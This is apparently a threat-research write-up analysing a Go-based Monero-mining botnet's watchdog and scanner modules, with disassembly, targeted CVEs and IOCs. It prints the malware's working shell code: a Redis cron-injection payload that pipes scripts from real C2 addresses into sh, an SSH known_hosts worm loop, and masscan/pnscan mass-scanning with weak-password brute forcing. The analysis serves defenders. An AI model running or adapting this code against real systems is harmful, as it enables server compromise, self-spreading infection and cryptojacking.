win: 38e880f602375cacb6a5e9d81801954f

Below is a list of the meaning of each abbreviation.

  • cf - Miner configuration file
  • mm - Monero miner
  • ss - Scanner “module”
  • sh - Shell script: (update.sh, init.sh, update.ps1, init.ps1)
  • dg - Watchdog “module”

dog_protect_process_thread

This function monitors the mining process and the scanner process. If anything happens to them, it will make sure the process is restarted.

Linux Process Protection Functionality

On Linux, the malware uses ps to check if the process still runs. The command executed to check if the miner is still running is shown below.

ps -auxf|grep sysupdate|wc -l

If the output does not contain “2” a new miner is started. The miner can be installed in two different locations, depending on the permissions the malware has. The two paths are:

  • /etc/sysupdate
  • /tmp/sysupdate

If the miner is not missing but is not running, the malware will just execute it. If the file is missing, the malware downloads the update.sh shell script and executes it to install all the files. The logic is shown below in the ASM snippet.

0x006334d5  call fcn.__tmp_0324_dog_cc.Get_miner_path
0x006334da  mov rax, qword [var_10h]
0x006334df  mov rcx, qword [var_18h]
0x006334e4  test rcx, rcx
0x006334e7  jne 0x633524
0x006334e9  lea rax, qword [0x006c7173] ; lin
0x006334f0  mov qword [rsp], rax
0x006334f4  mov qword [var_8h], 3
0x006334fd  call fcn.__tmp_0324_dog_cc.Get_tasks_payload
0x00633502  mov rax, qword [var_18h]
0x00633507  mov rcx, qword [var_10h]
0x0063350c  mov qword [rsp], rcx
0x00633510  mov qword [var_8h], rax
0x00633515  call fcn.__tmp_0324_dog_platform.lin_download_payload_and_exec
0x0063351a  mov rbp, qword [var_58h]
0x0063351f  add rsp, 0x60
0x00633523  ret
0x00633524  mov qword [var_38h], rax
0x00633529  mov qword [var_40h], rcx
0x0063352e  xorps xmm0, xmm0
0x00633531  movups xmmword [var_48h], xmm0
0x00633536  lea rax, qword sym.type.string
0x0063353d  mov qword [rsp], rax
0x00633541  lea rax, qword [var_38h]
0x00633546  mov qword [var_8h], rax
0x0063354b  call fcn.runtime.convT2Estring
0x00633550  mov rax, qword [var_10h]
0x00633555  mov rcx, qword [var_18h]
0x0063355a  mov qword [var_48h], rax
0x0063355f  mov qword [var_50h], rcx
0x00633564  lea rax, qword [0x006c71e8] ; %s &
0x0063356b  mov qword [rsp], rax
0x0063356f  mov qword [var_8h], 4
0x00633578  lea rax, qword [var_48h]
0x0063357d  mov qword [var_10h], rax
0x00633582  mov qword [var_18h], 1
0x0063358b  mov qword [var_20h], 1
0x00633594  call fcn.fmt.Sprintf
0x00633599  mov rax, qword [var_28h]
0x0063359e  mov rcx, qword [var_30h]
0x006335a3  mov qword [rsp], rax
0x006335a7  mov qword [var_8h], rcx
0x006335ac  call fcn.__tmp_0324_dog_platform.lin_os_command_exec

The same process is used for monitoring the scanner. The following command is executed and the malware checks for a count of “2” to be returned.

ps -auxf|grep networkservice|wc -l

The scanner paths are:

  • /etc/networkservice
  • /tmp/networkservice

Windows Process Protection Functionality

On Windows, the malware uses WMIC to check if the processes are running. If the process is not running, the process is started via Powershell. In the scenario where the file is missing, the update.ps1 file is downloaded and executed.

Commands executed:

  • Check miner: wmic process where name='sysupdate.exe' get processid,commandline
  • Start miner: powershell Start-Process %TEMP%\sysupdate.exe -windowstyle hidden
  • Check scanner: wmic process where name='networkservice.exe' get processid,commandline
  • Start scanner: powershell Start-Process %TEMP%\networkservice.exe -windowstyle hidden

Scanner Component and Other Ways of Spreading

The scanner component is also written in Go. The Linux scanner and the Windows scanner are compiled from the same codebase. The extracted source code layout is shown below. Based on function names it appears the following CVEs are exploited:

  • CVE-2015-1427 (Elasticsearch)
  • CVE-2014-3120 (Elasticsearch)
  • CVE-2018-1273 (Spring Data Commons)
  • CVE-2017-10271 (WebLogic)

In addition to the listed CVEs, the following applications or devices appears to be targeted:

  • CCTV
  • Drupal
  • Hadoop
  • Redis
  • SQLServer
  • ThinkPHP
Package _/tmp/0324/scan/exp: /tmp/0324/scan/exp
File: <autogenerated>	
	init Lines: 1 to 1 (0)	
File: cctv_exploit_wait.go	
	cc_is_shell_rce Lines: 15 to 63 (48)	
	cc_is_shell_rcefunc1 Lines: 32 to 82 (50)	
	cc_shell_rce Lines: 63 to 111 (48)	
	cc_shell_rcefunc1 Lines: 82 to 89 (7)	
	cc_shell_t_rce Lines: 111 to 125 (14)	
	Cctv_exploit Lines: 125 to 128 (3)	
File: drupal_exploit.go	
	dp_isdrupal Lines: 16 to 65 (49)	
	dp_isdrupalfunc1 Lines: 27 to 75 (48)	
	dp_check_payload Lines: 65 to 105 (40)	
	dp_check_payloadfunc1 Lines: 75 to 121 (46)	
	dp_7600_ver8_rce Lines: 105 to 232 (127)	
	dp_7600_ver8_rcefunc1 Lines: 121 to 128 (7)	
	dp_7600_rce Lines: 232 to 257 (25)	
	Drupal_exploit Lines: 257 to 265 (8)	
File: elasticsearch_exploit.go	
	es_exploit_cve20151427_rce Lines: 17 to 78 (61)	
	es_exploit_cve20151427_rcefunc1 Lines: 36 to 138 (102)	
	es_exploit_cve20151427_t_rce Lines: 78 to 103 (25)	
	toj Lines: 103 to 120 (17)	
	es_exploit_cve20143120_rce Lines: 120 to 178 (58)	
	es_exploit_cve20143120_rcefunc1 Lines: 138 to 145 (7)	
	es_exploit_cve20143120_t_rce Lines: 178 to 201 (23)	
	Elasticsearch_exploit Lines: 201 to 204 (3)	
File: get_target.go	
	get_target Lines: 35 to 78 (43)	
	Iam_is_scan Lines: 78 to 90 (12)	
	Report_succ Lines: 90 to 103 (13)	
	get_win_powershell_command_by_cc Lines: 103 to 114 (11)	
	Init_cc Lines: 114 to 118 (4)	
File: hadoop_exploit.go	
	hd_exploit_unaurority_rce Lines: 16 to 117 (101)	
	hd_exploit_unaurority_rcefunc1 Lines: 33 to 88 (55)	
	hd_exploit_unaurority_rcefunc2 Lines: 88 to 95 (7)	
	Hadoop_exploit Lines: 117 to 128 (11)	
File: redis_exploit.go	
	re_exploit_rce Lines: 18 to 107 (89)	
	re_exploit_connect_redis Lines: 107 to 127 (20)	
	re_exploit_redis_brute Lines: 127 to 146 (19)	
	re_exploit_unaurority_rce Lines: 146 to 170 (24)	
	Redis_exploit Lines: 170 to 182 (12)	
File: spring_exploit.go	
	sp_cve20181273_exists Lines: 15 to 70 (55)	
	sp_cve20181273_existsfunc1 Lines: 34 to 87 (53)	
	sp_cve20181273_exploit Lines: 70 to 124 (54)	
	sp_cve20181273_exploitfunc1 Lines: 87 to 94 (7)	
	Spring_exploit Lines: 124 to 137 (13)	
File: sqlserver_exploit.go	
	ss_execute_sql Lines: 137 to 155 (18)	
	ss_execute_payload Lines: 155 to 179 (24)	
	ss_exploit_xcmdshell Lines: 179 to 225 (46)	
	ss_exploit_sp_oacreate Lines: 225 to 284 (59)	
	ss_crack_login Lines: 284 to 341 (57)	
	ss_exploit Lines: 341 to 389 (48)	
	Sqlserver_exploit Lines: 389 to 390 (1)	
File: thinkphp_exploit.go	
	tp_isThinkphp Lines: 24 to 97 (73)	
	tp_isThinkphpfunc1 Lines: 58 to 112 (54)	
	tp5_rce_Exists Lines: 97 to 143 (46)	
	tp5_rce_Existsfunc1 Lines: 112 to 163 (51)	
	tp_exploit_tp5rce_exp Lines: 143 to 190 (47)	
	tp_exploit_tp5rce_expfunc1 Lines: 163 to 241 (78)	
	tp_exploit_tp5rce Lines: 190 to 217 (27)	
	tp5_23_rce_Exists Lines: 217 to 280 (63)	
	tp5_23_rce_Existsfunc1 Lines: 241 to 297 (56)	
	tp_exploit_tp5_23_rce_exp Lines: 280 to 326 (46)	
	tp_exploit_tp5_23_rce_expfunc1 Lines: 297 to 304 (7)	
	tp_exploit_tp5_23rce Lines: 326 to 355 (29)	
	Thinkphp_exploit Lines: 355 to 358 (3)	
File: utils.go	
	Http_GetData Lines: 14 to 60 (46)	
	Http_GetDatafunc1 Lines: 25 to 54 (29)	
	Encode_powershell Lines: 60 to 76 (16)	
File: weblogic_exploit.go	
	wl_wls_urlistrue Lines: 43 to 78 (35)	
	wl_wls_urlistruefunc1 Lines: 54 to 95 (41)	
	wl_cve201710271_rce Lines: 78 to 121 (43)	
	wl_cve201710271_rcefunc1 Lines: 95 to 102 (7)	
	wl_cve201710271_t_rce Lines: 121 to 149 (28)	
	Weblogic_exploit Lines: 149 to 155 (6)	
Package _/tmp/0324/scan/ipc: /tmp/0324/scan/ipc
File: <autogenerated>	
	init Lines: 1 to 52 (51)	
File: ipcn.go	
	download_ipdb Lines: 70 to 92 (22)	
	Init_ip Lines: 92 to 111 (19)	
Package main: /tmp/0324/scan
File: <autogenerated>	
	init Lines: 1 to 19 (18)	
File: top.go	
	openPort Lines: 52 to 68 (16)	
	randomIp Lines: 68 to 105 (37)	
	scan Lines: 105 to 236 (131)	
	mainScan Lines: 236 to 275 (39)	
	initdebug_ip Lines: 275 to 288 (13)	
	main Lines: 288 to 295 (7)	

Pre-scanning Phase

Before the module starts scanning, it downloads two lists of IPs from the two URLs below. The filenames suggest that the IP addresses in the list are Chinese.

  • http://178.157.91.26/ec8ce6ab/ip_cn.txt
  • http://178.157.91.26/ec8ce6ab/ips_cn.txt

The scanner has support for the use of multiple C2s. It selects one of the C2s and uses the URL to build the first part of the payload for all the exploits. Currently, only one address is in the list. An example of the C2 URL is shown below.

  • http://45.137.151.106/ec8ce6abb3e952a85b85/

IP Generation

The scanner generates random IP addresses by first generating a random number between 0 and 255. If the number is 127, 10, or 172, it picks a new number. Otherwise, three more numbers are generated.

0x006b0e6c  mov qword [rsp], 0xff ; 255
0x006b0e74  call fcn.math_rand.Intn
0x006b0e79  mov rax, qword [var_8h]
0x006b0e7e  mov qword [var_38h], rax
0x006b0e83  cmp rax, 0x7f ; 127
0x006b0e87  je 0x6b0e6c
0x006b0e89  cmp rax, 0xa ; 10
0x006b0e8d  je 0x6b0e6c
0x006b0e8f  cmp rax, 0xac ; 172
0x006b0e95  je 0x6b0e6c
0x006b0e97  mov qword [rsp], 0xff ; 255
0x006b0e9f  call fcn.math_rand.Intn
0x006b0ea4  mov rax, qword [var_8h]
0x006b0ea9  mov qword [var_40h], rax
0x006b0eae  mov qword [rsp], 0xff ; 255
0x006b0eb6  call fcn.math_rand.Intn
0x006b0ebb  mov rax, qword [var_8h]
0x006b0ec0  mov qword [var_48h], rax
0x006b0ec5  mov qword [rsp], 0xff ; 255
0x006b0ecd  call fcn.math_rand.Intn

The four numbers are used to create an IP string in dot-decimal notation using the Sprintf function from the fmt standard library package. The corresponding Go code would look something similar to the code below:

for {
    n1 := rand.Intn(255)
    if n1 == 127 || n1 == 10 || n1 == 172 {
        continue
    }
    n2 := rand.Intn(255)
    n3 := rand.Intn(255)
    n4 := rand.Intn(255)
    return fmt.Sprintf("%d.%d.%d.%d", n1, n2, n3, n4)
}

Payloads

The scanner has a variety of payloads that is used against different services. Which payload to be used, is dependent on the open ports on the scanned machine. Before a payload is being used, the scanner first tries to identify if the machine runs a vulnerable version of the expected service. For some services, the scanner doesn’t try to exploit a vulnerability. Instead, it uses unauthenticated access or weak passwords.

If the scanner finds a redis service, it first tries to access it without any credentials. If that fails it uses the following set of passwords:

  • 123456
  • redis123
  • root
  • 111111

If it successfully authenticates to the service, the scanner uses the flushall command to gain remote code execution. The command is used to add a new cron tab entry. The entry is */1 * * * * curl -fsSL %s |sh where %s is replace with C2 URL to init.sh.

Another service the scanner tries to access without any credentials is Hadoop. If the cluster is not protected with credentials, the scanner tries to add a new application on the cluster that will download and execute the malware.

The final service the scan module tries to gain access to via credentials is instances of MSSQL. The module tries to brute force the password for the sa user account with a list of 2993 different passwords.

The scanner module has a function for exploiting what the author calls CCTV. The malware exploits backdoors in CCTV DVRs. The flaw was reported by Andrew Tierney (PenTestPartners) back in February 2016. The scanner sends the query %s/shell?uname to the web server. If it gets a response that indicates the shell functionality is operational, it will use the shell to execute commands to download and execute the setup script.

Other vulnerabilities, the scanning module tries to exploit are CVE-2015-1427 and CVE-2014-3120 for Elasticsearch, CVE-2018-1273 for Spring Data Commons, and CVE-2017-10271 for WebLogic. If the module finds a webserver that uses Drupal, it tries to exploit CVE-2018-7600 which is also known as Drupalgeddon2. The Drupalgeddon2 exploit writes data to the file /hellohellohello.txt in the web-root directory. The last set of CVEs exploited by the malware ThinkPHP using CVE-2019-9082 and a vulnerability that doesn’t appear to have a designated CVE. Both vulnerabilities have PoCs available on vuln-hub. [1, 2]

Older versions of the malware didn’t have a binary scanner module. Instead, the scanning module was implemented in shell script. One of the ways the older version would spread was via known ssh host and stored keys. The code snippet below from an older version of the malware is showing this functionality. After this, the setup script would download the installation script for the scanner module.

if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
  for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'curl -o-  http://178.157.91.26/ec8ce6ab/is.sh | bash >/dev/null 2>&1 &' & done
fi
if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
  for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'cdl -o-  http://178.157.91.26/ec8ce6ab/is.sh | bash >/dev/null 2>&1 &' & done
fi

$bbdir -fsSL http://178.157.91.26/ec8ce6ab/is.sh | bash
$bbdira -fsSL http://178.157.91.26/ec8ce6ab/is.sh | bash

The setup script would download two tools to scan for hosts: masscan and pnscan. The snippet below downloads masscan that is stored in a tarball.

$bbdira -sL -o x1.tar.gz http://178.157.91.26/ec8ce6ab/1.0.4.tar.gz
sleep 1
[ -f x1.tar.gz ] && tar zxf x1.tar.gz && cd masscan-1.0.4 && make && make install && cd .. && rm -rf masscan-1.0.4
echo "Masscan Installed"

The tool pnscan is downloaded from the official ftp site, as can be seen below.

if ! ( [ -x /usr/local/bin/pnscan ] || [ -x /usr/bin/pnscan ] ); then
$bbdira -kLs ftp://ftp.lysator.liu.se/pub/unix/pnscan/pnscan-1.11.tar.gz > .x112 || $ccdira -q -O .x112 ftp://ftp.lysator.liu.se/pub/unix/pnscan/pnscan-1.11.tar.gz
sleep 1
[ -f .x112 ] && tar xf .x112&& cd pnscan-1.11 && make lnx && make install&& cd .. && rm -rf pnscan-1.11 .x112
echo "Pnscan Installed"
fi

After everything has been downloaded, the install script downloads the redis scanning logic.

$bbdir -fsSL http://178.157.91.26/ec8ce6ab/rs.sh | bash
$bbdira -fsSL http://178.157.91.26/ec8ce6ab/rs.sh | bash

The redis scanning script first creates the payload. As can be seen below, it uses cron to gain code execution.

rm -rf .dat .shard .ranges .lan 2>/dev/null
sleep 1
echo 'config set dbfilename "backup.db"' > .dat
echo 'save' >> .dat
echo 'flushall' >> .dat
echo 'set backup1 "\n\n\n*/2 * * * * cdl -fsSL http://178.157.91.26/ec8ce6ab/init.sh | sh\n\n"' >> .dat
echo 'set backup2 "\n\n\n*/3 * * * * wget -q -O- http://178.157.91.26/ec8ce6ab/init.sh | sh\n\n"' >> .dat
echo 'set backup3 "\n\n\n*/4 * * * * curl -fsSL http://45.137.151.106/ec8ce6abb3e952a85b85/init.sh | sh\n\n"' >> .dat
echo 'set backup4 "\n\n\n*/5 * * * * wdl -q -O- http://45.137.151.106/ec8ce6abb3e952a85b85/init.sh | sh\n\n"' >> .dat
echo 'config set dir "/var/spool/cron/"' >> .dat
echo 'config set dbfilename "root"' >> .dat
echo 'save' >> .dat
echo 'config set dir "/var/spool/cron/crontabs"' >> .dat
echo 'save' >> .dat

The following code snippet is showing how pnscan is used to scan for redis servers. For any found services, it tries to authenticate with weak credentials.

pnx=pnscan
[ -x /usr/local/bin/pnscan ] && pnx=/usr/local/bin/pnscan
[ -x /usr/bin/pnscan ] && pnx=/usr/bin/pnscan
for x in $( seq 1 224 | sort -R ); do
for y in $( seq 0 255 | sort -R ); do
$pnx -t512 -R '6f 73 3a 4c 69 6e 75 78' -W '2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a' $x.$y.0.0/16 6379 > .r.$x.$y.o
awk '/Linux/ {print $1, $3}' .r.$x.$y.o > .r.$x.$y.l
while read -r h p; do
cat .dat | redis-cli -h $h -p $p --raw &
cat .dat | redis-cli -h $h -p $p -a redis --raw &
cat .dat | redis-cli -h $h -p $p -a root --raw &
cat .dat | redis-cli -h $h -p $p -a oracle --raw &
cat .dat | redis-cli -h $h -p $p -a password --raw &
cat .dat | redis-cli -h $h -p $p -a [email protected] --raw &
cat .dat | redis-cli -h $h -p $p -a abc123 --raw &
cat .dat | redis-cli -h $h -p $p -a abc123! --raw &
cat .dat | redis-cli -h $h -p $p -a 123456 --raw &
cat .dat | redis-cli -h $h -p $p -a admin --raw &
done < .r.$x.$y.l

The logic is similar for masscan:

masscan --max-rate 10000 -p6379 --shard $( seq 1 22000 | sort -R | head -n1 )/22000 --exclude 255.255.255.255 0.0.0.0/0 2>/dev/null | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .shard
sleep 1
while read -r h p; do
cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &
cat .dat | redis-cli -h $h -p $p -a redis --raw 2>/dev/null 1>/dev/null &
cat .dat | redis-cli -h $h -p $p -a root --raw 2>/dev/null 1>/dev/null &
cat .dat | redis-cli -h $h -p $p -a oracle --raw 2>/dev/null 1>/dev/null &
cat .dat | redis-cli -h $h -p $p -a password --raw 2>/dev/null 1>/dev/null &
cat .dat | redis-cli -h $h -p $p -a [email protected] --raw 2>/dev/null 1>/dev/null &
cat .dat | redis-cli -h $h -p $p -a abc123 --raw 2>/dev/null 1>/dev/null &
cat .dat | redis-cli -h $h -p $p -a abc123! --raw 2>/dev/null 1>/dev/null &
cat .dat | redis-cli -h $h -p $p -a 123456 --raw 2>/dev/null 1>/dev/null &
cat .dat | redis-cli -h $h -p $p -a admin --raw 2>/dev/null 1>/dev/null &
done < .shard
sleep 1
masscan --max-rate 10000 -p6379 192.168.0.0/16 172.16.0.0/16 116.62.0.0/16 116.232.0.0/16 116.128.0.0/16 116.163.0.0/16 2>/dev/null | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .ranges
sleep 1
while read -r h p; do
cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &
cat .dat | redis-cli -h $h -p $p -a redis --raw 2>/dev/null 1>/dev/null &
cat .dat | redis-cli -h $h -p $p -a root --raw 2>/dev/null 1>/dev/null &
cat .dat | redis-cli -h $h -p $p -a oracle --raw 2>/dev/null 1>/dev/null &
cat .dat | redis-cli -h $h -p $p -a password --raw 2>/dev/null 1>/dev/null &
cat .dat | redis-cli -h $h -p $p -a [email protected] --raw 2>/dev/null 1>/dev/null &
cat .dat | redis-cli -h $h -p $p -a abc123 --raw 2>/dev/null 1>/dev/null &
cat .dat | redis-cli -h $h -p $p -a abc123! --raw 2>/dev/null 1>/dev/null &
cat .dat | redis-cli -h $h -p $p -a 123456 --raw 2>/dev/null 1>/dev/null &
cat .dat | redis-cli -h $h -p $p -a admin --raw 2>/dev/null 1>/dev/null &
done < .ranges
sleep 1
ip a | grep -oE '([0-9]{1,3}.?){4}/[0-9]{2}' 2>/dev/null | sed 's/\/\([0-9]\{2\}\)/\/16/g' > .inet
sleep 1
masscan --max-rate 10000 -p6379 -iL .inet | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .lan
sleep 1
while read -r h p; do
cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &
done < .lan
sleep 60
rm -rf .dat .shard .ranges .lan 2>/dev/null

IOCs

Scripts

Filename SHA-256
clean.bat 848e9b20dbf3e766ed306e78e07d9332fe065ec41a3d7d924f6345bba71de49b
init.ps1 2fa79dbf3341d880f8c08bee5796895683e6eb3dd76a537ea3a60f6ac33d9b17
init.sh 03927595ead68cbb3a31a6d27cf0c86abadce204bd4bff2a66fca8f6b7f306e2
is.sh 6faa026af253c784ef97ffec3a9953055d394061a9a1fbfdcc5b28445b73ffdc
rs.sh e2b982f9540304e31ca8d1cdafb253da7d216d1cc939a281a1a95baaa4be9b2d
updata.sh 03927595ead68cbb3a31a6d27cf0c86abadce204bd4bff2a66fca8f6b7f306e2
update.ps1 2fa79dbf3341d880f8c08bee5796895683e6eb3dd76a537ea3a60f6ac33d9b17
update.sh 89bb4cb68372198a3937a315433bfffabeccfe14b2b70fbb883ec30476fa3e70
update.ps1 5f89619b59ff9f184203ac8a5e7ec88dbd82fa992292cb3ae236c8d5b884b576
update.sh 8eef72ded1b8ab8c72a089ce44149e772f1f6d1369f5f1dfa4a8c7ed5614c2a2
clean.bat 64210e25d19d1813e764c31ce78cb8ef20b11e671e58a02d0cee209d16005749
clean.bat 64210e25d19d1813e764c31ce78cb8ef20b11e671e58a02d0cee209d16005749
update.ps1 5f89619b59ff9f184203ac8a5e7ec88dbd82fa992292cb3ae236c8d5b884b576
update.sh 8eef72ded1b8ab8c72a089ce44149e772f1f6d1369f5f1dfa4a8c7ed5614c2a2
updata.sh 3c7faf7512565d86b1ec4fe2810b2006b75c3476b4a5b955f0141d9a1c237d38

Binaries

Filename SHA-256 Note
networkservice 40c40bd3aa61d09b704748ecbb9ecbd9f34b0e4afb175036b12906900ce2cbde Scanner module
networkservice.exe a98e81b9fd8a8a78d7977ddb9c37f36bee0a51695898d0ae8065a3ea3af3057a Scanner module
networkservices ea55a206f7047f54a9e97cc3234848dfd3e49d0b5f9569b08545f1ad0e733286 Scanner module
sysguard 8129d9f08314ccf6ff7a978a272ff43e1515cd0a28f1f1aac7008a36dde3618b Watch dog module
sysguard.exe b7818c458f0e6e9a5d2080626c7cede1eac573fa2c4dae65d91607eeaa23bdf0 Watch dog module
sysguerd bceee7d9ace363ef2bfb1494a9784a6377fe14c4c5fefa0c180fcec33a5d1716 Watch dog module
sysupdata c51811c6d68b219d7804407ea54bd1f9b8ae0a4fcf1ddf6126740812bea52416 XMRig 5.6.0
sysupdata e7446d595854b6bac01420378176d1193070ef776788af12300eb77e0a397bf7 XMRig (Fake name “screen 2.8.5”)
sysupdate.exe 559a8ff34cf807e508d32e3a28864c687263587fe4ffdcefe3f462a7072dcc74 XMRIG (Fake name “jusched 2.8.5”)
sysupdate.exe e0a44f98e994ab0cdd88cacb803668903a302a83761e6376b80264364f6c5a9a XMRig 5.6.0

Network

  • hxxp://146.71.79.230/363A3EDC10A2930DVNICE/clean.bat
  • hxxp://146.71.79.230/363A3EDC10A2930DVNICE/config.json
  • hxxp://146.71.79.230/363A3EDC10A2930DVNICE/favorite.ico
  • hxxp://146.71.79.230/363A3EDC10A2930DVNICE/networkservice
  • hxxp://146.71.79.230/363A3EDC10A2930DVNICE/networkservice.exe
  • hxxp://146.71.79.230/363A3EDC10A2930DVNICE/sysguard
  • hxxp://146.71.79.230/363A3EDC10A2930DVNICE/sysguard.exe
  • hxxp://146.71.79.230/363A3EDC10A2930DVNICE/sysupdate
  • hxxp://146.71.79.230/363A3EDC10A2930DVNICE/sysupdate.exe
  • hxxp://146.71.79.230/363A3EDC10A2930DVNICE/update.ps1
  • hxxp://146.71.79.230/363A3EDC10A2930DVNICE/update.sh
  • hxxp://178.157.91.26/ec8ce6ab/bd.sh
  • hxxp://178.157.91.26/ec8ce6ab/config.json
  • hxxp://178.157.91.26/ec8ce6ab/favorite.ico
  • hxxp://178.157.91.26/ec8ce6ab/iplog.php
  • hxxp://178.157.91.26/ec8ce6ab/is.sh
  • hxxp://178.157.91.26/ec8ce6ab/networkservics
  • hxxp://178.157.91.26/ec8ce6ab/sysguerd
  • hxxp://178.157.91.26/ec8ce6ab/sysupdata
  • hxxp://178.157.91.26/ec8ce6ab/updata.sh
  • hxxp://45.137.151.106/ec8ce6abb3e952a85b85/config.json
  • hxxp://45.137.151.106/ec8ce6abb3e952a85b85/favorite.ico
  • hxxp://45.137.151.106/ec8ce6abb3e952a85b85/iplog.php
  • hxxp://45.137.151.106/ec8ce6abb3e952a85b85/networkservics
  • hxxp://45.137.151.106/ec8ce6abb3e952a85b85/sysguerd
  • hxxp://45.137.151.106/ec8ce6abb3e952a85b85/sysupdata
  • hxxp://45.137.151.106/ec8ce6abb3e952a85b85/updata.sh
  • hxxps://us.gsearch.com.de/api/clean.bat
  • hxxps://us.gsearch.com.de/api/config.json
  • hxxps://us.gsearch.com.de/api/favorite.ico
  • hxxps://us.gsearch.com.de/api/networkservice
  • hxxps://us.gsearch.com.de/api/networkservice.exe
  • hxxps://us.gsearch.com.de/api/sysguard
  • hxxps://us.gsearch.com.de/api/sysguard.exe
  • hxxps://us.gsearch.com.de/api/sysupdate
  • hxxps://us.gsearch.com.de/api/sysupdate.exe
  • hxxps://us.gsearch.com.de/api/update.ps1
  • hxxps://us.gsearch.com.de/api/update.sh

Crypto

Pool Wallet/User
xmr.f2pool.com:13531 43zqYTWj1JG1H1idZFQWwJZLTos3hbJ5iR3tJpEtwEi43UBbzPeaQxCRysdjYTtdc8aHao7csiWa5BTP9PfNYzyfSbbrwoR
randomxmonero.hk.nicehash.com:3380 3HVQkSGfvyyQ8ACpShBhegoKGLuTCMCiAr
xmr-eu2.nanopool.org:14444 43zqYTWj1JG1H1idZFQWwJZLTos3hbJ5iR3tJpEtwEi43UBbzPeaQxCRysdjYTtdc8aHao7csiWa5BTP9PfNYzyfSbbrwoR

Appendix

If you would like to analyze this malware, I have made some samples available here.